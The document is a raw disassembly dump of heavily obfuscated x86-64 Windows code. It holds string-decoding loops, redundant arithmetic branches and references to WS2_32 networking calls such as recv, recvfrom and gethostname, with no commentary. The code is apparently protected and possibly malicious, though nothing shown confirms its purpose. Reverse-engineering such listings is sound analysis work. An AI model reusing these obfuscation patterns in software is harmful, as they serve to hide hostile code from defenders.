lea edx, [r9 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x1400486a1
lea edx, [r9 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [rbx + r8]
cmp rax, 0x41
je 0x140048a8e
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14004894c
lea edx, [r9 + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5a
add dil, dl
jmp 0x1400486e2
sub r9b, 0x1c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x3c
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
sub r9b, 0x38
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, r9b
jmp 0x140048c42
lea edx, [r9 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140048c17
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048be4
add r9b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2c
jmp 0x140048be1
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140048bc0
add r9b, 0x3c
movzx eax, r10b
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x140048223
add r9b, 0x20
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140048223
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1c
add dil, dl
jmp 0x140048b53
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400488c5
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x62
jmp 0x140048732
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400488fa
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048922
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048c17
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140048732
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
jmp 0x140048be1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048974
lea edx, [r9 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1e
add dil, dl
jmp 0x140048b53
cmp rbx, rcx
jne 0x1400486e2
sub r9b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
jmp 0x140048be1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400489cf
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x28
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400489f8
sub r9b, 0x4c
movzx eax, r10b
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048c42
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048a1e
sub r9b, 0x14
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x74
jmp 0x140048be4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048a44
add r9b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x38
jmp 0x140048be1
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400486a1
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x140048b53
lea edx, [r9 - 0x50]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140048bc0
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140048c17
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x140048c42
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140048c17
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140048be1
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
jmp 0x140048bc0
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048b53
movzx r9d, r11b
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
sub r9b, 0x5e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x6e
add r10b, r9b
mov byte [rbp + r11 - 0x40], r10b
inc r8
dec r11
inc r11
jmp 0x140048223
lea edx, [r11 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140048223
movzx r9d, r11b
lea edx, [r9 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x42
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x32
add cl, r10b
add cl, r9b
mov byte [rbp + r11 - 0x40], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140048223
lea rcx, [r11 + r15]
and dl, cl
mov eax, 0x29
sub al, dl
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x40], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, cl
mov byte [rbp + r11 - 0x40], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x26
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140048223
add r9b, 0x46
movzx eax, r10b
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140048220
add r9b, 0x2a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x26
jmp 0x140048210
lea rdx, [rbp + 0x15ab128]
jmp 0x140048cfb
lea rdx, [rbp + 0x8faf36]
jmp 0x140048cfb
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x168]
call fcn.140043f70
mov r14, rax
mov dword [rbp + 0x70], 0x81838680
mov word [rbp + 0x74], 0x8286
mov byte [rbp + 0x76], 0xb6
xor eax, eax
mov qword [rbp + 0x77], rax
mov dword [rbp + 0x7f], eax
mov word [rbp + 0x83], ax
movabs r15, 0x1c15753b1fd062b8
movabs r13, 0xc496349ddeb2b308
movabs r12, 0x54405fb15f712828
movzx edi, byte [rsp + 0x20]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x140049841
movzx r10d, byte [rbp + r11 + 0x70]
mov esi, r10d
cmp rbx, r11
ja 0x140049838
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048da2
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 8
jmp 0x140048dcf
je 0x1400497cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004974a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049718
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400496dd
movzx r9d, r11b
cmp r8, r11
ja 0x14004982f
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140048e01
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048e42
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140049699
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049670
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140049650
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049633
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140049607
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400493a3
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140049388
lea rcx, [r8 + 0x64]
cmp rbx, rcx
je 0x140049362
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14004933c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004931d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400492fd
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400492dd
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400492be
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004929e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14004926f
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140048e50
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x140049812
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x1400497f5
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004903d
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140049022
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140049007
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140049220
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400491e2
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400491a4
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14004917c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140048e50
mov rbx, rcx
lea r8, [rcx + 0x1000]
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x14004914d
lea rcx, [r8 + 9]
cmp rbx, rcx
ja 0x14004912d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004910e
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400490ee
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400490d9
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400490be
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14004909b
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140049075
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14004905a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140048e50
mov rbx, rcx
lea r8, [rcx + 4]
jmp 0x140048e50
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140048e42
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140048dd3
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x140048d76
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x1400496b3
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x140048d63
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140048d63
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x1400496f7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14004972e
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140049731
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049763
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004978d
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x70], dil
inc r11
jmp 0x140048d63
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x61
jb 0x140049197
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x60]
jmp 0x1400496b3
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
cmp rbx, 3
jae 0x1400495d3
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140049518
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x1400491b3
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x1400495f1
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140049475
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400491f8
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004978d
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049763
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140049731
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004972e
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400496f7
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140048d63
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140048d63
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x1400496b3
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x1400493c7
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140049236
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400493fc
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140049420
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140049763
cmp rbx, rcx
jne 0x140049442
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140049731
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140049236
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140048d63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004948c
lea edx, [r9 + 0x48]
mov ecx, 4
jmp 0x1400496a2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400494bb
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
inc r8
dec r11
inc r11
jmp 0x140048d63
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400494df
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140049763
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400491f8
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140049550
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140049578
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140049763
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400495a0
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400496f7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400491be
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x140048d63
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add dil, r10b
jmp 0x1400496f7
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x50]
jmp 0x140049763
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x14004978d
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004972e
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140048d63
lea edx, [r9 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x38
add r10b, r9b
mov byte [rbp + r11 + 0x70], r10b
inc r8
dec r11
inc r11
jmp 0x140048d63
movzx r9d, r11b
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
add r9b, 0x78
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x70], r10b
jmp 0x14004972e
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140048d63
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x38
movzx r9d, r11b
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x58
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
mov byte [rbp + r11 + 0x70], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x140048d63
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x140048d60
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x140048d50
lea rdx, [rbp + 0x1425410]
jmp 0x140049845
lea rdx, [rbp + 0x112b6c8]
jmp 0x140049845
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x188]
call fcn.140043f70
nop
mov rdx, r14
mov rcx, rax
call fcn.140045bb0
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0xe0], rax
mov dword [rbp], 0x96e69ef1
mov dword [rbp + 4], 0xe2d4e49c
mov word [rbp + 8], 0xe08c
mov byte [rbp + 0xa], 0x3a
xor eax, eax
mov qword [rbp + 0xb], rax
mov word [rbp + 0x13], ax
movabs r14, 0x46b92200edbfaad6
movabs r15, 0x7c8232085bbd0186
movabs r12, 0xd42b6602c93f0082
movzx edi, byte [rsp + 0x20]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x14004a372
movzx r10d, byte [rbp + r11]
mov esi, r10d
cmp rbx, r11
ja 0x14004a369
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140049902
lea rcx, [r11 + r14]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x26
jmp 0x14004992f
je 0x14004a2f7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a2c6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a2aa
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004a25f
movzx r9d, r11b
cmp r8, r11
ja 0x14004a360
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140049964
lea edx, [r9 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400499b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004a246
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004a220
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004a200
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004a1e3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004a15f
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x140049f00
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140049ee4
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140049ebe
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140049e9b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140049e7f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140049e5f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140049e42
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140049e34
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140049e14
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140049de8
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400499c0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 5]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14004a340
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14004a323
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140049baf
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140049b90
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140049b71
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140049d9f
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140049d52
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140049d12
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140049ced
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400499c0
mov rbx, rax
lea r8, [rax + 0x1000]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140049cc1
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140049ca1
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140049c93
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140049c73
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140049c53
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140049c37
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140049c11
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140049beb
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140049bcf
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400499c0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x10]
jmp 0x1400499c0
lea edx, [r9 + 0x32]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x1400499b0
lea edx, [r9 - 0x7a]
movzx eax, r10b
and al, dl
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140049933
sub r9b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400498d6
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
jmp 0x14004a27a
sub r9b, 0x3c
